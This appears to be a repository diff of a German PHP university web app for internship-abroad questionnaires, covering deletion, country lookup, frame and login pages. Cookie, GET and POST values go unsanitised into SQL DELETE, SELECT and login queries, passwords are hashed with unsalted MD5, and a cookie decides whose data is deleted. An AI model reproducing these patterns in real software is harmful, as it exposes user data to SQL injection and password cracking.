<tr>
<td width=\"10\" background=\"images/box_e1.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_top.gif\" valign=\"top\">
<img height=\"10\" src=\"images/blank.gif\" width=\"1\"><br>
<font class=\"hd\">Fragebogen wirklich löschen?</font><br>
<img height=\"5\" src=\"images/blank.gif\" width=\"1\"></font></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e2.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td width=\"1%\" background=\"images/box_l.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
<td>
";
$db = dbconnect();
$query = "SELECT vorname, nachname, ag, jahrgang
FROM kurs.stud
WHERE uid = '$deluid'
";
$result = $db->query($query)
or die ("Cannot execute query");
$row2 = $result->fetch_array();
echo"
<p>
<table border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"border-collapse: collapse\" bordercolor=\"#E7E8ED\" width=\"100%\" id=\"AutoNumber1\">
<tr>
<td width=\"100%\">
<p align=\"center\">
M&ouml;chten sie den Fragebogen von <br><b>$row2[vorname] $row2[nachname] ($row2[ag]/$row2[jahrgang])</b><br> wirklich l&ouml;schen?<br><br>
<a href=".$_SERVER['PHP_SELF'] .">
<img title = \"Nein\"border=\"0\" src=\"images/nein.gif\"></a>
&nbsp;
<a href=".$_SERVER['PHP_SELF'] ."?action=del2>
<img title = \"Fragebogen l&ouml;schen\"border=\"0\" src=\"images/ja.gif\"></a>
</td>
</tr>
</table>
</td>
<td width=\"1%\" background=\"images/box_r.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td nowrap=\"nowrap\" align=\"left\" width=\"1%\" background=\"images/box_e3.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_bottom.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"8\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e4.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"> </td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</body>
</html>";
break;
case "del2":
$deluid = $_COOKIE["ck_studuid"];
$sql1 = $db->query ("DELETE FROM aesp_schluss WHERE uid = '$deluid'");
$sql2 = $db->query ("DELETE FROM aesp_freizeit WHERE uid = '$deluid'");
$sql3 = $db->query ("DELETE FROM aesp_bewertung WHERE uid = '$deluid'");
$sql4 = $db->query ("DELETE FROM aesp_unterkunft WHERE uid = '$deluid'");
$sql5 = $db->query ("DELETE FROM aesp_allgemein WHERE uid = '$deluid'");
$sql6 = $db->query ("DELETE FROM aesp_bewerbung WHERE uid = '$deluid'");
$sql7 = $db->query ("DELETE FROM aesp_pers_ang WHERE uid = '$deluid'");
if (!$sql1 or !$sql2 or !$sql3 or !$sql4 or !$sql5 or !$sql6 or !$sql7)
{
echo "
<html>
<head>
<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\">
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
<title>Fehlgeschlagen</title>
</head>
<body>
<table border=\"0\" style=\"border-collapse: collapse\" width=\"100%\" cellpadding=\"0\" height=\"100%\" id=\"table1\">
<tr>
<td>
<div align=\"center\">
<table cellspacing=\"0\" cellpadding=\"0\" width=\"550\" border=\"0\">
<tr>
<td width=\"10\" background=\"images/box_e1.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"3%\" background=\"images/box_top.gif\" valign=\"top\"></td>
<td width=\"95%\" background=\"images/box_top.gif\">
<img height=\"10\" src=\"images/blank.gif\" width=\"1\"><br>
<span class=\"sh\">Fehlgeschlagen</span><br>
<img height=\"5\" src=\"images/blank.gif\" width=\"1\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e2.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td width=\"1%\" background=\"images/box_l.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
<td colspan=\"2\"><br>
<p align=\"center\"><b>Der Fragebogen konnte aufgrund eines<br>internen Fehlers nicht vollst&auml;dig gel&ouml;scht werden!</b>
<br><br>
<p align=\"center\"><a href=\"javascript:history.back()\">
<img border=\"0\" src=\"images/zurueck.gif\" width=\"77\" height=\"22\"></a><br>
</p>
<p></p>
<p><br>
</p>
</td>
<td width=\"1%\" background=\"images/box_r.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td nowrap=\"nowrap\" align=\"left\" width=\"1%\" background=\"images/box_e3.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_bottom.gif\" colspan=\"2\">
<img height=\"16\" src=\"images/blank.gif\" width=\"8\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e4.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"> </td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</body>
</html>";
exit;
}
echo "
<html>
<head>
<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\">
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
<title>Aktualisierung beendet</title>
</head>
<body>
<table border=\"0\" style=\"border-collapse: collapse\" width=\"100%\" cellpadding=\"0\" height=\"100%\" id=\"table1\">
<tr>
<td>
<div align=\"center\">
<table cellspacing=\"0\" cellpadding=\"0\" width=\"550\" border=\"0\">
<tr>
<td width=\"10\" background=\"images/box_e1.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"3%\" background=\"images/box_top.gif\" valign=\"top\"></td>
<td width=\"95%\" background=\"images/box_top.gif\">
<img height=\"10\" src=\"images/blank.gif\" width=\"1\"><br>
<span class=\"sh\">Aktualisierung beendet</span><br>
<img height=\"5\" src=\"images/blank.gif\" width=\"1\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e2.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td width=\"1%\" background=\"images/box_l.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
<td colspan=\"2\"><br>
<p align=\"center\"><b>Der Fragebogen wurde gel&ouml;scht!</b>
<br><br>
<p align=\"center\"><a href="; echo $_SERVER['PHP_SELF'] . ">
<img border=\"0\" src=\"images/zurueck.gif\" width=\"77\" height=\"22\"></a><br>
</p>
<p></p>
<p><br>
</p>
</td>
<td width=\"1%\" background=\"images/box_r.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td nowrap=\"nowrap\" align=\"left\" width=\"1%\" background=\"images/box_e3.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_bottom.gif\" colspan=\"2\">
<img height=\"16\" src=\"images/blank.gif\" width=\"8\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e4.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"> </td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</body>
</html>";
} //Ende Action Abfrage
?>

31
getSubCat.php Executable file
View File

@ -0,0 +1,31 @@
<?php
include("aespa/datenbankanbindung.php"); // f&uuml;gt die Datenbankanbindung ein: Sys:\php\includes\kurs\datenbankanbindung.php
header("Content-Type: text/html;charset=utf-8");
$lid = $_COOKIE["ck_lid"];
$kid=$_GET['countryCode'];
$db = dbconnect();
$query = "SELECT lid, land FROM aesp_land WHERE kid LIKE '$kid' ORDER BY land ASC";
$result = $db->query ($query);
##$query1 = $db->query("SELECT ukid FROM quelle WHERE lid='$lid'");
##$result1 = $query1->fetch_array();
if(isset($_GET['countryCode'])){
#echo "obj.options[obj.options.length] = new Option('[alle]','%');\n";
while ($row = $result->fetch_array()){
##echo "obj.options[obj.options.length] = new Option('$row[bezeichnung]','$row[ukid]'";if($result1[ukid] == $row[ukid]){echo ",'selected'";}echo");\n";
echo "obj.options[obj.options.length] = new Option('$row[land]','$row[lid]'";if($row[lid] == $lid){echo ",'selected'";}echo");\n";
}
}
?>

34
getSubCat_search.php Executable file
View File

@ -0,0 +1,34 @@
<?php
include("aespa/datenbankanbindung.php"); // f&uuml;gt die Datenbankanbindung ein: Sys:\php\includes\kurs\datenbankanbindung.php
header("Content-Type: text/html;charset=utf-8");
$lid = $_COOKIE["ck_lid"];
$kid=$_GET['countryCode'];
$db = dbconnect();
$query = "SELECT distinct a.lid, a.land
FROM aesp_land a, aesp_bewerbung b
WHERE kid LIKE '$kid'
AND a.lid = b.land
ORDER BY land ASC";
$result = $db->query ($query);
##$query1 = $db->query("SELECT ukid FROM quelle WHERE lid='$lid'");
##$result1 = $query1->fetch_array();
if(isset($_GET['countryCode'])){
echo "obj.options[obj.options.length] = new Option('Alle','%');\n";
while ($row = $result->fetch_array()){
#echo "obj.options[obj.options.length] = new Option('$row[land]','$row[lid]'";if($row[lid] == $lid){echo ",'selected'";}echo");\n";
echo "obj.options[obj.options.length] = new Option('$row[land]','$row[lid]');\n";
}
}
?>

23
hauptframe.htm Executable file
View File

@ -0,0 +1,23 @@
<html>
<head>
<title>AESPA online</title>
</head>
<frameset framespacing="0" border="0" frameborder="0" rows="64,*">
<frame name="Banner" scrolling="no" noresize target="Inhalt" src="topframe.php">
<frameset cols="184,*">
<frame name="Inhalt" target="Hauptframe" scrolling="auto" src="menuframe.php" noresize>
<frame name="kurshaupt" scrolling="auto" src="hauptframe.php" target="_self">
</frameset>
<noframes>
<body>
<p>Diese Seite verwendet Frames. Frames werden von Ihrem Browser aber nicht
unterst&uuml;tzt.</p>
</body>
</noframes>
</frameset>
</html>

62
hauptframe.php Executable file
View File

@ -0,0 +1,62 @@
<?php
echo "
<html>
<head>
<meta http-equiv=\"Content-Language\" content=\"de\">
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
<title>Willkommen</title>
</head>
<body>
<table border=\"0\" style=\"border-collapse: collapse\" width=\"100%\" cellpadding=\"0\" height=\"100%\" id=\"table1\">
<tr>
<td>
<div align=\"center\">
<table cellspacing=\"0\" cellpadding=\"0\" width=\"550\" border=\"0\">
<tr>
<td width=\"10\" background=\"images/box_e1.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"3%\" background=\"images/box_top.gif\" valign=\"top\">&nbsp;</td>
<td width=\"95%\" background=\"images/box_top.gif\">
<img height=\"10\" src=\"images/blank.gif\" width=\"1\"><br>
<font class=\"hd\"><center>Herzlich Willkommen</center></font>
<img height=\"5\" src=\"images/blank.gif\" width=\"1\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e2.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td width=\"1%\" background=\"images/box_l.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
<td colspan=\"2\"><br>
<p align=\"center\">Sie befinden sich bei AESPA Online.
<p align=\"center\">
<br><br>
Treffen Sie im linken Men&uuml; bitte Ihre Auswahl!
</p>
<p align='center'>
</p>
<p><br>
</p>
</td>
<td width=\"1%\" background=\"images/box_r.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td nowrap=\"nowrap\" align=\"left\" width=\"1%\" background=\"images/box_e3.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_bottom.gif\" colspan=\"2\">
<img height=\"16\" src=\"images/blank.gif\" width=\"8\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e4.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"> </td>
</tr>
</table>
<p><br>
&nbsp;</p>
</div>
</td>
</tr>
</table>
</body>
</html>";
?>

4
images/Font.txt Executable file
View File

@ -0,0 +1,4 @@
Button Schriftart
Verdana fett 12
Anti Aliasing

BIN
images/Thumbs.db Executable file

Binary file not shown.

BIN
images/aenderung_stellen.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

BIN
images/aespa_logo.jpg Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

BIN
images/b_abschicken.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 604 B

BIN
images/b_login.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 216 B

BIN
images/blank.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 43 B

BIN
images/box_bottom.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 37 B

BIN
images/box_e1.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 408 B

BIN
images/box_e1a.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 186 B

BIN
images/box_e2.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 258 B

BIN
images/box_e2a.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 181 B

BIN
images/box_e3.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 144 B

BIN
images/box_e4.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 152 B

BIN
images/box_l.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 51 B

BIN
images/box_r.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 51 B

BIN
images/box_top.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 62 B

BIN
images/box_top1.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 37 B

BIN
images/cross.jpg Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

BIN
images/daten_prfen.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 617 B

BIN
images/daten_pruefen.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 728 B

BIN
images/drop.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 311 B

BIN
images/drop_grey.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 KiB

BIN
images/edit.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 451 B

BIN
images/edit_grey.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 KiB

BIN
images/export.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 709 B

BIN
images/gueltig.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 KiB

BIN
images/gueltig.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

BIN
images/i_login.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 646 B

BIN
images/ico_pdf.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1007 B

BIN
images/ja.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 320 B

BIN
images/keine_aenderung.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 825 B

BIN
images/leerer_zeitraum.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 KiB

BIN
images/left.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 KiB

BIN
images/left_first.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

BIN
images/left_first_grey.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

BIN
images/left_grey.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

BIN
images/mail.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 921 B

BIN
images/nein.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 333 B

BIN
images/ok.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 830 B

BIN
images/right.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 KiB

BIN
images/right_grey.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

BIN
images/right_last.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

BIN
images/right_last_grey.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

BIN
images/sidebox-bar-left.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 50 B

BIN
images/sidebox-bar-px.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 43 B

BIN
images/sidebox-bar-right.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 50 B

BIN
images/sidebox-bottom.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 KiB

BIN
images/sidebox-title-bg.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 153 B

BIN
images/sidebox-title-left.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 KiB

BIN
images/sidebox-title-left1.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 KiB

BIN
images/sidebox-title-right.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 356 B

BIN
images/suchen.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 272 B

BIN
images/termin_erf.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 489 B

BIN
images/veranst_bearb.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 570 B

BIN
images/veranst_erf.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 555 B

BIN
images/weitere_aend.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 686 B

BIN
images/zurueck.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 550 B

5
index.php Executable file
View File

@ -0,0 +1,5 @@
<?php
echo "
<meta http-equiv=\"refresh\" content=\"0; URL=https://www.hs-ludwigsburg.de/kurs\">
";
?>

556
index.php__ Executable file
View File

@ -0,0 +1,556 @@
<?php
include("aespa/datenbankanbindung.php"); // f&uuml;gt die Datenbankanbindung ein: Sys:\php\includes\kurs\datenbankanbindung.php
#require("check_zweig.php"); // Pr<50>ft, ob Innenverwaltung angemeldet ist: setzt datenbankanbindung.php voraus
dbconnect();
$ansp = mysql_query("SELECT wert1, wert2 FROM kurs.parameter WHERE pid='1'");
$uhd = mysql_fetch_array($ansp);
$ansprechpart = "$uhd[wert1]"; // Ansprechpartner bei Probleme
$helpmail = "$uhd[wert2]"; // Kontaktmailadresse bei Problemen
if (isset($_GET['action']))
$action = $_GET['action'];
else
$action = "";
switch($action){
default:
echo"
<html>
<head>
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
<title>Login Aespa</title>
</head>
<body onload=\"if(document.login)document.login.uid.focus();return false;\">
<table border=\"0\" style=\"border-collapse: collapse\" width=\"100%\" cellpadding=\"0\" height=\"100%\" id=\"table1\">
<tr>
<td>
<div align=\"center\">
<table cellspacing=\"0\" cellpadding=\"0\" width=\"550\" border=\"0\">
<tr>
<td width=\"10\" background=\"images/box_e1.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"3%\" background=\"images/box_top.gif\" valign=\"top\">
<img src=\"images/i_login.gif\"></td>
<td width=\"95%\" background=\"images/box_top.gif\">
<img height=\"10\" src=\"images/blank.gif\" width=\"1\"><br>
<font class=\"hd\">
Login AESPA</font><br>
<span class=\"sh\">
Im System k&ouml;nnen Sie den Fragebogen zum Auslandspraktium ausf<73>llen</span><br>
<img height=\"5\" src=\"images/blank.gif\" width=\"1\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e2.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td width=\"1%\" background=\"images/box_l.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
<td colspan=\"2\"><br>
<p><b>Folgende Loginkriterien sind zu beachten:</b> </p>
<ul>
<li>Der Logindaten entsprechen denen des Anmeldesystems der FH-Ludwigsburg</li>
<li>Der Benutzername darf <b>keine</b> Zus&auml;tze enthalten (.stud05 usw.)</li>
</ul>
<p></p>
<p></p>
<p></p>
<p></p>
<form action=";echo $_SERVER['PHP_SELF'] . "?action=anmeld";echo" method=\"POST\" name=\"login\">
<input type=\"hidden\" name=\"tparam\" value=\"945180225\">
<table cellspacing=\"1\" cellpadding=\"1\" width=\"100%\" border=\"0\">
<tr>
<td class=\"formdesc\">
Benutzername
</td>
<td>
<input type=\"text\" name=\"uid\" value size=\"20\" maxlength=\"60\" tabindex=\"1\" onchange=\"document.login.pwd.focus()\"></td>
</tr>
<tr>
<td class=\"formdesc\">
Passwort
</td>
<td>
<input type=\"password\" name=\"pwd\" size=\"20\" tabindex=\"2\"></td>
</tr>
<tr class=\"login\">
<td align=\"right\" colspan=\"2\">
<input title=\"Login\" type=\"image\" src=\"images/b_login.gif\" border=\"0\"></td>
</tr>
</table>
</form>
<p><br>
</p>
</td>
<td width=\"1%\" background=\"images/box_r.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td nowrap=\"nowrap\" align=\"left\" width=\"1%\" background=\"images/box_e3.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_bottom.gif\" colspan=\"2\">
<img height=\"16\" src=\"images/blank.gif\" width=\"8\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e4.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"> </td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</body>
</html>";
break;
case "anmeld":
$uid = strtolower($_POST[uid]);
$pwd = $_POST[pwd];
dbconnect();
$result = mysql_query("SELECT LOWER(uid) uid, Pwd FROM kurs.stud where uid=\"$uid\"");
$row = mysql_fetch_array($result);
// Abfrage, was tun wenn Felder leer sind bzw. Passwort falsch ist
if ($uid == "" or $_POST['pwd'] == "")
{
echo "
<html>
<head>
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
<title>Login Stellenantragssystem</title>
</head>
<body>
<table border=\"0\" style=\"border-collapse: collapse\" width=\"100%\" cellpadding=\"0\" height=\"100%\" id=\"table1\">
<tr>
<td>
<div align=\"center\">
<table cellspacing=\"0\" cellpadding=\"0\" width=\"550\" border=\"0\">
<tr>
<td width=\"10\" background=\"images/box_e1.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"3%\" background=\"images/box_top.gif\" valign=\"top\">
<img src=\"images/i_login.gif\"></td>
<td width=\"95%\" background=\"images/box_top.gif\">
<img height=\"10\" src=\"images/blank.gif\" width=\"1\"><br>
<span class=\"sh\">Fehlerhafte Eingabe </span><br>
<img height=\"5\" src=\"images/blank.gif\" width=\"1\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e2.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td width=\"1%\" background=\"images/box_l.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
<td colspan=\"2\"><br>
<p align=\"center\"><b>Es m&uuml;ssen alle Felder ausgef&uuml;llt werden</b>
</p>
<p align=\"center\"><a href=\"index.php\">
<img border=\"0\" src=\"images/zurueck.gif\" width=\"77\" height=\"22\"></a><br>
</p>
<p></p>
<p></p>
<p></p>
<p></p>
<p><br>
</p>
</td>
<td width=\"1%\" background=\"images/box_r.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td nowrap=\"nowrap\" align=\"left\" width=\"1%\" background=\"images/box_e3.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_bottom.gif\" colspan=\"2\">
<img height=\"16\" src=\"images/blank.gif\" width=\"8\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e4.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"> </td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</body>
</html>
";
exit;
}
if ($uid != $row[uid]) {
echo"
<html>
<head>
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
<title>Login Stellenantragssystem</title>
</head>
<body>
<table border=\"0\" style=\"border-collapse: collapse\" width=\"100%\" cellpadding=\"0\" height=\"100%\" id=\"table1\">
<tr>
<td>
<div align=\"center\">
<table cellspacing=\"0\" cellpadding=\"0\" width=\"550\" border=\"0\">
<tr>
<td width=\"10\" background=\"images/box_e1.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"3%\" background=\"images/box_top.gif\" valign=\"top\">
<img src=\"images/i_login.gif\"></td>
<td width=\"95%\" background=\"images/box_top.gif\">
<img height=\"10\" src=\"images/blank.gif\" width=\"1\"><br>
<span class=\"sh\">Falscher Benutzername</span><br>
<img height=\"5\" src=\"images/blank.gif\" width=\"1\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e2.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td width=\"1%\" background=\"images/box_l.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
<td colspan=\"2\"><br>
<p align=\"center\"><b>Der Anmeldenamen ist im System nicht vorhanden!<br>
Wenden Sie sich bitte an
<a href=\"mailto:$helpmail?subject=Keine Anmeldekennung\">$ansprechpart</a></b></p>
<p align=\"center\"><a href=\"index.php\">
<img border=\"0\" src=\"images/zurueck.gif\" width=\"77\" height=\"22\"></a><br>
</p>
<p></p>
<p></p>
<p></p>
<p></p>
<p><br>
</p>
</td>
<td width=\"1%\" background=\"images/box_r.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td nowrap=\"nowrap\" align=\"left\" width=\"1%\" background=\"images/box_e3.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_bottom.gif\" colspan=\"2\">
<img height=\"16\" src=\"images/blank.gif\" width=\"8\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e4.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"> </td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</body>
</html>
";
exit;
}
$passwd = md5($_POST['pwd']);
if ($passwd != $row[Pwd]){
// Cokkie hier, falls PW generiert werden soll
setcookie("uid1","");
setcookie("uid1","$row[uid]");
echo "
<html>
<head>
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
<title>Login Stellenantragssystem</title>
</head>
<body>
<table border=\"0\" style=\"border-collapse: collapse\" width=\"100%\" cellpadding=\"0\" height=\"100%\" id=\"table1\">
<tr>
<td>
<div align=\"center\">
<table cellspacing=\"0\" cellpadding=\"0\" width=\"550\" border=\"0\">
<tr>
<td width=\"10\" background=\"images/box_e1.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"3%\" background=\"images/box_top.gif\" valign=\"top\">
<img src=\"images/i_login.gif\"></td>
<td width=\"95%\" background=\"images/box_top.gif\">
<img height=\"10\" src=\"images/blank.gif\" width=\"1\"><br>
<span class=\"sh\">Falsches Passwort</span><br>
<img height=\"5\" src=\"images/blank.gif\" width=\"1\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e2.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td width=\"1%\" background=\"images/box_l.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
<td colspan=\"2\"><br>
<p align=\"center\"><b>Das eingegebene Passwort ist falsch!</b><br><br>
Sie k&ouml;nnen sich ein neues Passwort an Ihre<br>FH-Mailadresse schicken lassen: <a href="; echo $_SERVER['PHP_SELF'] . "?action=pass_gen>Neues Passwort</a>
<br>
<br>
Bei weiteren Problemen wenden Sie sich bitte<br>
an <a href=\"mailto:$helpmail?subject=Keine Anmeldekennung\">$ansprechpart</a></b></p>
<p align=\"center\"><a href=\"index.php\">
<img border=\"0\" src=\"images/zurueck.gif\" width=\"77\" height=\"22\"></a><br>
</p>
<p></p>
<p></p>
<p></p>
<p></p>
<p><br>
</p>
</td>
<td width=\"1%\" background=\"images/box_r.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td nowrap=\"nowrap\" align=\"left\" width=\"1%\" background=\"images/box_e3.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"></td>
